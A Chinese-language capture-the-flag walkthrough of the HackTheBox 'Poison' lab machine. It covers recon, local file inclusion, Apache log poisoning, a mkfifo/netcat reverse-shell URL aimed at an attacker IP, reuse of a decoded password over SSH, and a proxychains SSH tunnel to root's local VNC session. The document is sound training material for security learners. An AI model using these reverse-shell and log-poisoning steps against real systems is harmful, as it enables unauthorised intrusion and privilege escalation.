HTB靶场系列 linux靶机 Poison靶机

349 阅读7分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

勘探

nmap -sCV 10.10.10.84
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-07 19:26 EDT
Nmap scan report for 10.10.10.84
Host is up (0.018s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.32 seconds

发现服务器开了22端口的ssh和freebsd的80端口

那么我们打开web看一看有点什么

80端口

发现是一个文件检索目录

可以检索四个文件

其中调查phpinfo.php时发现,php的文件上传是开着的allow_url_include是关闭的所以这个站存在文件包含和文件上传两个问题

至于上次我们曾经尝试的对phpinfo界面用post上传文件的方法这次不怎么好使,这次我们应该是一种其他的方式了

同时在那个搜索框里,我们也发现它可以直接访问服务器中的文件/etc/passwd

然后我们在listfiles.php这个文件中发现不止有主页提示的这四个文件还有一个pwdbackup文件打开之后发现是一个加密了至少13次的base64文件

This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=

这样

然后我们可以将它保存到我们自己的机器里面然后做一个小循环去进行13次解码

> data=$(cat pwd.b64); for i in $(seq 1 13); do data=$(echo $data | tr -d ' ' | base64 -d); done; echo $data
Charix!2#4%6&8(0

然后得到一个密码

获取www-data权限

这一步我卡在开放文件上传,但我上传不上去了,然后我去看了大佬写的攻略HTB: Poison | 0xdf hacks stuff这里有详细的解释,我在下面用中文按我的理解写一下,如果不对欢迎大佬批评指正

我们之前在phpinfo界面发现了这个服务器的php允许了任意文件访问

那么我们尝试用任意文件访问来使这个browse.php这个主界面来加载服务器的日志文件,那么假如我们在日志文件的内容中包含php语句,就会被这个php文件所加载,而日志文件中会显示的一个使请求方式另一个就是用户信息,那我们就尝试在用户信息中注入php语句

我们尝试

GET / HTTP/1.1

Host: 10.10.10.84

User-Agent: 0xdf:

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, / ;q=0.8 Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

这样来上传一个文件后门

接着我们来寻找这个apache服务器的日志文件放在哪里,我之前在一篇文章汇总过linux的各种日志的储存位置和记载内容,下次有机会发上来,其中就有记载apache的日志文件位于/var/log/这个文件夹下,有两个日志文件分别是错误文件httpd-error.log和访问日志httpd-access.log,我们可以去访问这个访问日志来实现执行我们刚刚注入的php语句的想法

poison_vnc-root.png

但是这里有些理解不了

为什么这样就可以对一个变量进行赋值,这是植入了一个长期的变量吗?

以我的思路就是在发请求的时候直接把命令写在请求里,实测也好用

然后直接访问

http://10.10.10.84/browse.php?file=/var/log/httpd-access.log&c=rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|nc%2010.10.16.7%204444%20%3E/tmp/f
# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.84] 19226
sh: can't access tty; job control turned off
$ pwd
/usr/local/www/apache24/data
$ id
uid=80(www) gid=80(www) groups=80(www)

这样我们就获得了一个www权限的shell

但是这里其实根本没必要获取www权限

获得Charix

我们可以直接在他的任意文件访问处访问/etc/passwd文件,从而得到用户名来进行ssh连接

得到www权限后我们知道服务器开启了ssh服务,那么我们去看一看这台机器的用户名是什么,去访问home文件夹看看用户名

发现叫charix

那么ssh登录

ssh charix@10.10.10.84

发现需要密码,那我们试一下刚刚破译出来的,还真是

然后登陆成功

ssh charix@10.10.10.84
Password for charix@Poison:
Last login: Wed Apr  4 19:42:41 2018 from 10.10.15.237
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.
Need to see your routing table? Type "netstat -rn". The entry with the G
flag is your gateway.
                -- Dru <genesis@istar.ca>
charix@Poison:~ %

这样,然后就获得了user.txt

获取root权限

在这又卡了,以前没接触过x windows,学安全真是要涉猎广泛

打开user.txt的时候发现桌面上还有一个文件,叫secret.zip解压发现有密码,那直接试试刚刚那个密码,又成功了

解压出一个secret文件出来

file一下发现

file secret
secret: Non-ISO extended-ASCII text, with no line terminators

那就直接用scp下载那个secret文件到本地

scp charix@10.10.10.84:/home/charix/secret /  

但是这玩意有什么用呢

我们查看一下防火墙

netstat -an -p tcp
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address          Foreign Address        (state)
tcp4       0      0 10.10.10.84.22         10.10.14.6.57604       ESTABLISHED
tcp4       0      0 10.10.10.84.19226      10.10.14.6.9001        ESTABLISHED
tcp4       0      0 10.10.10.84.80         10.10.14.6.55208       ESTABLISHED
tcp4       0      0 127.0.0.1.25           *.*                    LISTEN
tcp4       0      0 *.80                   *.*                    LISTEN
tcp6       0      0 *.80                   *.*                    LISTEN
tcp4       0      0 *.22                   *.*                    LISTEN
tcp6       0      0 *.22                   *.*                    LISTEN
tcp4       0      0 127.0.0.1.5801         *.*                    LISTEN
tcp4       0      0 127.0.0.1.5901         *.*                    LISTEN

发现除了我们扫描到的还有5801和5901两个端口,这两个端口是VNC服务

charix@Poison:/usr/local/www/apache24/data % ps -auwwx | grep vnc
root    529   0.0  0.9  23620  9036 v0- I    12:54     0:00.07 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1

然后发现果然循行了vnc的xwindows服务,并且还告诉了我们怎么操作

  • :1 - display number 1
  • -rfbauth /root/.vnc/passwd - specifies the file containing the password used to auth viewers
  • -rfbport 5901 - tells us which port to connect to
  • localhost - only listen locally

那么刚刚我们获得的那个文件就知道有什么用了

tail /etc/proxychains.conf
#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4  127.0.0.1 9091

root@kali:~/hackthebox/poison-10.10.10.84# ssh charix@10.10.10.84 -D 9091

我们先配置一下代理,用proxychains将ssh服务代理到localhost上

注意:proxychains的配置文件文件名可能还是proxychains4.conf进到文件夹里看一下就行

根据socks4 那一栏显示的端口决定下面ssh连接哪一个端口

代理配置好了,用ssh连接用-D选择转发端口到proxychains的地理端口,之后另开一个shell

用proxychains来连接vncviewer密码文件使用我们刚刚获得的secret文件

> proxychains vncviewer 127.0.0.1:5901 -passwd secret

ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:8081-<><>-127.0.0.1:5901-<><>-OK
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

使用刚刚的secret文件来进入x Desktop界面,这个界面是一个root权限

poison_poisoned.png